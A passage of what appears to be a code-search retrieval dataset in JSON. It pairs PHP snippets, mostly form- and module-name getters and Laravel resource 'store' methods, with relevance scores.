self::FORM_TITLE;\n }", "title": "" }, { "docid": "2a6ceb5264864813a11e8bc1b9b48572", "score": "0.6692067", "text": "public function getFormId() {\n return 'dic_demo_form';\n }", "title": "" }, { "docid": "9bfd4b8dda9a5db514f69f7e40a70db6", "score": "0.666138", "text": "public function getFormFunctionName(){\n\treturn $this->formFunctionName;\n }", "title": "" }, { "docid": "24c9695dd59da5144aa517342704b16b", "score": "0.66570234", "text": "public function getFormLabel()\n {\n return '#'.$this->id .' - '.$this->name;\n }", "title": "" }, { "docid": "7b6a91fa0d13500778c122a5ce0ddc46", "score": "0.6624028", "text": "public function getFormId()\n {\n return \"person_drupal_settings_form\";\n }", "title": "" }, { "docid": "7e5efa65055a7f39f521d0593e3dcafb", "score": "0.6584237", "text": "public function getName() {\n\t\treturn 'userFormType';\n\t}", "title": "" }, { "docid": "6befa44844a81f883530a24008a87d1c", "score": "0.6567229", "text": "public function getFormFieldName()\n {\n return $this->getValueConfig()->getFormFieldName();\n }", "title": "" }, { "docid": "2ae1ef1df21514aa0edf4daef0357020", "score": "0.65235615", "text": "public function getName() {\n /* identifikator formulare */\n return 'editRecord';\n }", "title": "" }, { "docid": "5241d4d6373a244da437cda883418eb6", "score": "0.6466368", "text": "public function getName() {\n return 'rechercheform';\n }", "title": "" }, { "docid": "927c5bd9f68e4e767b600eb37c2f093f", "score": "0.6444068", "text": "public function get_modlName() {\n\t\tif(empty($this->name)) {\n\t\t\t$this->name = substr(get_class($this), 0, -4);\n\t\t}\n\t\treturn $this->name;\n\t}", "title": "" }, { "docid": "c25451058424094c941e141b860bb4e6", "score": "0.6443422", "text": "function ModuleName()\n\t{\n\t\treturn '';\n\t}", "title": "" }, { "docid": "7cb1c406398f3b5f713527c130d54025", "score": "0.6441071", "text": "function formClass()\n {\n return 'form_profile_backup';\n }", "title": "" }, { "docid": "ba551d2c333143d22c4b883e6d426435", "score": "0.64389014", "text": "protected function getFormName($formName)\n {\n return str_replace('IEP: ', '', $formName);\n }", "title": "" }, { "docid": "fa4b4179db67d4f31a318f9dc00dd291", "score": "0.64355403", "text": "public function getFormId() {\n return 'hugo_export';\n }", "title": "" }, { "docid": "07881b6e4b9179523568bb68f1bfa511", "score": "0.6433711", "text": "private function getInputNamePrefix()\n {\n $model = $this->widget->model;\n if ($model instanceof Model) {\n if (empty($this->renderer->columns) || (count($this->renderer->columns) == 1 && $this->hasModelAttribute($this->name))) {\n return $model->formName();\n }\n return Html::getInputName($this->widget->model, $this->widget->attribute);\n }\n return $this->widget->name;\n }", "title": "" }, { "docid": "20503fe94da0e3c2c453826e6487f517", "score": "0.64312035", "text": "private function getFormName(FormHandler $formHandler)\n {\n $formName = $formHandler->getFormBlueprint()->getName();\n\n return str_replace(\"\\\\\", '', get_class($formHandler->getFormBlueprint()).'::'.$formName);\n }", "title": "" }, { "docid": "1038b47922dac67331bc105fc8ee9937", "score": "0.641623", "text": "public function getName()\n {\n return 'login_'.$this->name.'_'.sha1(static::class);\n }", "title": "" }, { "docid": "5313f4ebaa6f796998f72b880568b4a5", "score": "0.63886744", "text": "public function getFormId() {\n return 'vactory_espace_prive_settings_form';\n }", "title": "" }, { "docid": "67f5ec4983e081be0e6fc6a44006fa9d", "score": "0.63819313", "text": "public function getFormId() {\n return 'auto_entitylabel_settings_form';\n }", "title": "" }, { "docid": "cb496af827bd1943e59fd80c42123a21", "score": "0.63717824", "text": "public function getName()\n {\n return 'user_roles_form';\n }", "title": "" }, { "docid": "f436d296629989b18067ba27c846c063", "score": "0.63671094", "text": "function name ()\n\t{\n\t\treturn $this->model_name;\n\t}", "title": "" }, { "docid": "84392597924725d395d7e5545ca44bb5", "score": "0.63645023", "text": "public function get_full_name()\n {\n return $this->form()->name . '_' . $this->name;\n }", "title": "" }, { "docid": "81c0a94030c94b8d3bd88c9bcdc3ce01", "score": "0.63633215", "text": "public function getFormId()\n {\n return 'impexium_sso_settings_form';\n }", "title": "" }, { "docid": "eb4f1cf79992fed69dd5c31049be3b25", "score": "0.6358443", "text": "public function getFormId() {\n return 'cup_of_tea_form';\n }", "title": "" }, { "docid": "b68aa36bf59aea6538c7836c10ea678a", "score": "0.63317597", "text": "public function getForm()\n {\n // Return either a fully qualified class name\n // or the service id of your form if it is defined as a service\n return 'Wanjee\\Shuwee\\ConfigBundle\\Form\\Type\\ParameterType';\n }", "title": "" }, { "docid": "44de499f9b87b05df24c9f5249f98945", "score": "0.6325833", "text": "function get_nombre_form() {\n return $this->descripcion;\n }", "title": "" }, { "docid": "ad617f2033e31fc0df45ea3edb8172ff", "score": "0.6322932", "text": "public function getIdName()\n {\n if ($this->idName) return $this->idName;\n $this->idName = $this->formName() . '_' . $this->language->id;\n return $this->idName;\n }", "title": "" }, { "docid": "2e6f5ce13f9093a3975a3f8bc91b2ca0", "score": "0.6306863", "text": "public function getFormFieldNameInternal()\n {\n return 'internal_' . $this->getFormFieldName();\n }", "title": "" }, { "docid": "3dc9819a57c9435734e65eeefafcfa08", "score": "0.6305972", "text": "protected function name()\n {\n return 'ProbetasPorEnsayarWidget';\n }", "title": "" }, { "docid": "ebe751bdd9d35a396d4fc5ad5c1c6f58", "score": "0.63033724", "text": "public function getName()\n {\n return 'project_edit';\n }", "title": "" }, { "docid": "cc1348bd098023d69c40ccb7942803a8", "score": "0.63015777", "text": "static function getPollFormName($name) {\n\n $conf = self::getPollConfiguration($name);\n\n return $conf['form'];\n }", "title": "" }, { "docid": "89ed548453c79380da53adda617c40bf", "score": "0.62943006", "text": "public function get_name() {\n return get_string('modulename', 'mod_syncsearch');\n }", "title": "" }, { "docid": "134aaa76e92c90066cf6e0d607f98147", "score": "0.6290842", "text": "protected function moduleName(): string\n {\n return $this->moduleName ?? $this->input->getOption('module') ?? $this->moduleName = $this->ask('What is your module?');\n }", "title": "" }, { "docid": "2e87b9741be65de840bca77c09a16956", "score": "0.62656987", "text": "public function get_name() {\n return 'hrhs_login_widget';\n }", "title": "" }, { "docid": "eff483e94d471ece8b8fd3de217b4263", "score": "0.6258364", "text": "public function getFormId() {\n return 'fillpdf_forms_admin';\n }", "title": "" }, { "docid": "f1cb5ab7eda6caf19f70b2c368cb9fce", "score": "0.62581944", "text": "public function module_name() {\n \t\treturn $this->module_name;\n \t}", "title": "" }, { "docid": "8f2062c421c0e14e442a5d81b3e8d400", "score": "0.62501276", "text": "public function getFormId() {\n return 'freetrial_form';\n }", "title": "" }, { "docid": "c79f2abd859bbaedf70154ae694bfea0", "score": "0.62401325", "text": "public function getFormId() {\n return 'form_examples_contact_form';\n }", "title": "" }, { "docid": "0f72fbd87d4a60c9b5ac184b6d935f19", "score": "0.62243104", "text": "public function getFormType(): string\n {\n return sprintf(\n '%s%s\\\\Form\\Type\\\\%s\\\\EditType',\n $this->getVariable('namespace_prefix') ? $this->getVariable('namespace_prefix') . '\\\\' : '',\n $this->getVariable('bundle_name'),\n $this->getBaseGeneratorName()\n );\n }", "title": "" }, { "docid": "02be9f7beabeed3950df02e050a7e0ec", "score": "0.62131", "text": "public function getFormTemplate(): string\n {\n return static::FORM_TEMPLATE;\n }", "title": "" }, { "docid": "4d67f72642fd2d3049c5b0de25b50836", "score": "0.62100416", "text": "private function addSettingName() {\n\t\t$options = array(\n\t\t\t\t\t\t'label'=>'settingName',\n\t\t\t\t\t\t'description'=>'settingDescription',\n\t\t\t\t\t\t'required'=>true ,\n\t\t\t\t\t\t'validators'=> array(\n\t\tarray('validator'=> 'NotEmpty','breakChainOnFailure' => true),\n\t\tarray('validator' => 'stringLength','options'=> array(1, 30) )\n\t\t)\n\t\t);\n\t\t$this->addElement('text','name',$options);\n\t\t$this->getElement('name')->setAttrib('class','inputAccesible');\n\t\t$this->getElement('name')->addPrefixPath('ZFForm_Decorator','ZFForm/Decorator','decorator');\n\t\t$this->getElement('name')->setDecorators(array('CustomForm'));\n\n\t}", "title": "" }, { "docid": "5e63ae0572820c6432e630a0fa50463e", "score": "0.6202121", "text": "public function getFormId() {\n return 'todo_add_form';\n }", "title": "" }, { "docid": "11fd25877fcf3a16ad3085e6ddd6cfb8", "score": "0.62001514", "text": "public function getModuleName()\n {\n return $this->getRequest()->getModuleName();\n }", "title": "" }, { "docid": "62382db3d8b949b2129fb7c2a9c91e68", "score": "0.6190501", "text": "public function getName()\n {\n return $this->moduleFacade->getModule()->getFullName();\n }", "title": "" }, { "docid": "5f61c041159db0fa43648f8f675b5063", "score": "0.6189362", "text": "public function getFormId()\n {\n return 'jix_newsletter_settings';\n }", "title": "" }, { "docid": "072a97c87e6127dad904772dafd0156f", "score": "0.6185282", "text": "public function settingsForm()\n {\n return 'currencies-form-settings';\n }", "title": "" }, { "docid": "ce4bebfddbe44b2c1fb9b4f29285977e", "score": "0.61815053", "text": "public function get_name() {\n\t\tif (strpos(get_class($this), 'Web_Module_') !== false) {\n\t\t\treturn strtolower(substr(get_class($this),strlen('Web_Module_')));\n\t\t}\n\n\t\treturn strtolower(get_class($this));\n\t}", "title": "" }, { "docid": "1ae0fb0edaf5fd9782fda84be793680a", "score": "0.61464703", "text": "public function getName()\n {\n return \"UserEdit\";\n }", "title": "" }, { "docid": "c6f80472604219255ffd961a701b4818", "score": "0.6131819", "text": "protected function name()\n {\n return get_class();\n }", "title": "" }, { "docid": "c40816472349368818e0824a87d9eeb5", "score": "0.613094", "text": "public function getName()\n {\n return Craft::t('<%= pluginName %>');\n }", "title": "" }, { "docid": "42be016cdc2c827567069cfce4c49bcb", "score": "0.61294353", "text": "public function getName()\n\t{\n\t\treturn str_replace('\\\\', '_', __CLASS__);\n\t}", "title": "" }, { "docid": "d3f8d23f79f251b759b6019031c5507a", "score": "0.61251247", "text": "public function get_input_name() {\n\t\t$name = $this->get_base_name();\n\n\t\treturn $name;\n\t}", "title": "" }, { "docid": "87db8ea26ad758d43807561ae39e44a5", "score": "0.61173135", "text": "function editName() {\n return 'Edit kid';\n }", "title": "" }, { "docid": "2beeb07374152fa3fa57a7062f3cb9c2", "score": "0.6116089", "text": "protected function generateFormClassName($modelClassName)\n {\n return $modelClassName . 'Form';\n }", "title": "" }, { "docid": "c37789fc234383d52862ad8f1dce4a40", "score": "0.6115032", "text": "public function getExemptFormName(){return $this->ExemptFormName;}", "title": "" }, { "docid": "c21d11dae68f2f2dd8b67d5601b998ac", "score": "0.61115843", "text": "public function getName()\n {\n return $this->name.'_'.$this->getSession()->getSha1().'.login';\n }", "title": "" }, { "docid": "efd99bd1ea1eb41c20c413bb730bd4c5", "score": "0.6109632", "text": "public function getModelName()\n {\n return $this->getRequest()->getModuleName();\n }", "title": "" }, { "docid": "5047871cb1fa034915d6c720bd6ac08c", "score": "0.61020494", "text": "public function getModulename()\n {\n return $this->module_name;\n }", "title": "" }, { "docid": "4157f4404848e45fb808c1ac12ed19c6", "score": "0.61001045", "text": "public function getName()\n {\n return 'app';\n }", "title": "" }, { "docid": "71ceabc1d2e5c9872fddb027ccf28819", "score": "0.6092748", "text": "function name()\r\n\t{\r\n\t\treturn $this->name;\r\n\t}", "title": "" }, { "docid": "bd7f36cd2afaa4aa7322e9c4117f41ff", "score": "0.608004", "text": "protected function getName() {}", "title": "" }, { "docid": "85ae5e16df379d8ca388bf028f914794", "score": "0.607323", "text": "function formClass()\n\t{\n\t\treturn 'editing';\n\t}", "title": "" }, { "docid": "85ae5e16df379d8ca388bf028f914794", "score": "0.607323", "text": "function formClass()\n\t{\n\t\treturn 'editing';\n\t}", "title": "" }, { "docid": "b51d1ac04ddd6bf79d42c639e2325efa", "score": "0.6067575", "text": "public function getFormId() {\n\t\treturn 'advanced_form';\n\t}", "title": "" }, { "docid": "5ef0c52965df2dc78a6bee27ed17ede9", "score": "0.60583293", "text": "protected function getInstanceName()\n\t{\n\t\t$class = get_class($this);\n\n\t\t$name = strstr($class, 'Module');\n\t\t$name = str_replace('Module', '', $name);\n\n\t\treturn strtolower($name);\n\t}", "title": "" }, { "docid": "a879e7423762ee07c70e0b41b9901f96", "score": "0.6043183", "text": "function getName()\n {\n return $this->template;\n }", "title": "" }, { "docid": "d006b8b1537c21c43946c979d14da139", "score": "0.6031731", "text": "public function getModuleName() {\n\t\treturn $this->getModule()->get('name');\n\t}", "title": "" }, { "docid": "ad90ec5850aa1a54257d18cf35444932", "score": "0.6029491", "text": "function name()\r\r\n {\r\r\n \treturn $this->name;\r\r\n }", "title": "" }, { "docid": "f2074b82e49938d5b1c28d6e1d9b0aa6", "score": "0.60293126", "text": "public function getName() {\n return get_class($this);\n }", "title": "" }, { "docid": "c0a532ed6bc530edb8ddee6b29b177c5", "score": "0.60284364", "text": "function tab_name()\n {\n return 'Register';\n }", "title": "" }, { "docid": "68098ae08e64b89dacba016f144e8177", "score": "0.6024226", "text": "public function getConfigFormName(): ?string;", "title": "" }, { "docid": "5c1b48ac785cb745e433cc0de8060fee", "score": "0.6020977", "text": "public function getModuleName()\n {\n return self::MODULE_NAME;\n }", "title": "" }, { "docid": "5c1b48ac785cb745e433cc0de8060fee", "score": "0.6020977", "text": "public function getModuleName()\n {\n return self::MODULE_NAME;\n }", "title": "" }, { "docid": "257197357cc71e3124fd999c9ae82df3", "score": "0.6018203", "text": "public function getModuleName()\n\t{\n\t\treturn $this->getModule()->get('name');\n\t}", "title": "" }, { "docid": "13834328472c2d620fe6406db896bca4", "score": "0.6017763", "text": "public function getFormIdentifier()\n {\n return $this->fusionValue('formIdentifier');\n }", "title": "" }, { "docid": "d97d093a389105a64d5b651e6d35fe62", "score": "0.6011866", "text": "protected function getTemplateName(): string\n {\n return 'input';\n }", "title": "" } ]
972499302c169f21ea61b70e96990c89
Store a newly created resource in storage.
[ { "docid": "e86faded16798b08c38ca21cebdd1a31", "score": "0.0", "text": "public function store(Request $request)\n {\n\n //Need Validation >>\n try {\n $guaranteeds = Guaranteed::create([\n 'name' => $request->name,\n 'warranty_type' => $request->warranty_type,\n 'add_data' => $request->add_data,\n 'currency' => $request->currency,\n 'money' => $request->money\n ]);\n } catch (\\Exception $e) {\n return response()->json([\n 'status' => 0,\n 'massage' => 'Some this wrong happen'\n ], 400);\n\n }\n return response()->json([\n 'status' => 1,\n 'massage' => 'Store a new guaranteed is Successfully',\n 'data' => $guaranteeds\n ], 201);\n\n\n }", "title": "" } ]
[ { "docid": "4d4665c3172bd48271ac325e48734b03", "score": "0.6960531", "text": "public function store()\n {\n $request = $this->makeRequest('store');\n $model = $this->service->create($request);\n\n if(is_a($model, \\Exception::class)) {\n\n return $this->getErrorResource($model);\n\n } else {\n\n return $this->maybeMakeResource('single', $model, 201);\n }\n\n }", "title": "" }, { "docid": "08b1c0fc414209453959162737452406", "score": "0.68456596", "text": "public function save()\n {\n $storage = new Storage();\n $storage->store();\n // ....\n }", "title": "" }, { "docid": "0af8c4e64c8f59b58839884dd423bdba", "score": "0.66870487", "text": "public function store()\n {\n return $this->_resourcePersistence->store();\n }", "title": "" }, { "docid": "cec443e02222c256f4cdc94a793632da", "score": "0.6618901", "text": "public function store() {\n\t\t$this->_storePrecheck();\n\t\t$model = $this->loadModel($this->params['model']);\n\t\t$fileData = StorageUtils::fileToUploadArray($this->args[0]);\n\n\t\t$entity = $model->newEntity([\n\t\t\t'adapter' => $this->params['adapter'],\n\t\t\t'file' => $fileData,\n\t\t\t'filename' => $fileData['name']\n\t\t]);\n\n\t\tif ($model->save($entity)) {\n\t\t\t$this->out('File successfully saved!');\n\t\t\t$this->out('UUID: ' . $entity->id);\n\t\t\t$this->out('Path: ' . $entity->path());\n\t\t} else {\n\t\t\t$this->abort('Failed to save the file.');\n\t\t}\n\t}", "title": "" }, { "docid": "3529d0e71e6d8ea828f2de852437018a", "score": "0.6586192", "text": "public function store()\n {\n // ...\n }", "title": "" }, { "docid": "d867e1815ae7201548cd26c492de3a7b", "score": "0.6553343", "text": "public function save(Storage $storage)\n {\n $storage->store();\n // ....\n }", "title": "" }, { "docid": "7407adcc5b0a18e46fd06cc8c7fc4fdf", "score": "0.6511526", "text": "public function store(Request $request)\n {\n\n $request->validate([\n 'user' => ['required'],\n 'phone' => ['required', ],\n 'email' => ['required', 'email:rfc,dns'],\n 'resource' => ['required'],\n ]);\n $resources = json_decode(Storage::get('resources.json'));\n $resources[] = [\n 'id' => uniqid(),\n 'user' => $request->input('user'),\n 'phone' => $request->input('phone'),\n 'email' => $request->input('email'),\n 'resource' => $request->input('resource'),\n 'date' => now()->format('d-m-Y'),\n ];\n\n Storage::put('resources.json', json_encode($resources));\n\n return redirect()->route('person-area')->with('success', \"Resource from \\\"{$request->input('user')}\\\" was added succesfully!\");\n }", "title": "" }, { "docid": "8ee7e267114dc7aff05b19f9ebc39079", "score": "0.6424367", "text": "public function create($resource);", "title": "" }, { "docid": "40718558d61a4c56dc5b2c2b6422e8cf", "score": "0.6419359", "text": "abstract public function createStorage();", "title": "" }, { "docid": "03f9a1cfca780e7f0a082544fc457677", "score": "0.63657933", "text": "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "title": "" }, { "docid": "03f9a1cfca780e7f0a082544fc457677", "score": "0.63657933", "text": "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "title": "" }, { "docid": "03f9a1cfca780e7f0a082544fc457677", "score": "0.63657933", "text": "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "title": "" }, { "docid": "03f9a1cfca780e7f0a082544fc457677", "score": "0.63657933", "text": "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "title": "" }, { "docid": "03f9a1cfca780e7f0a082544fc457677", "score": "0.63657933", "text": "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function 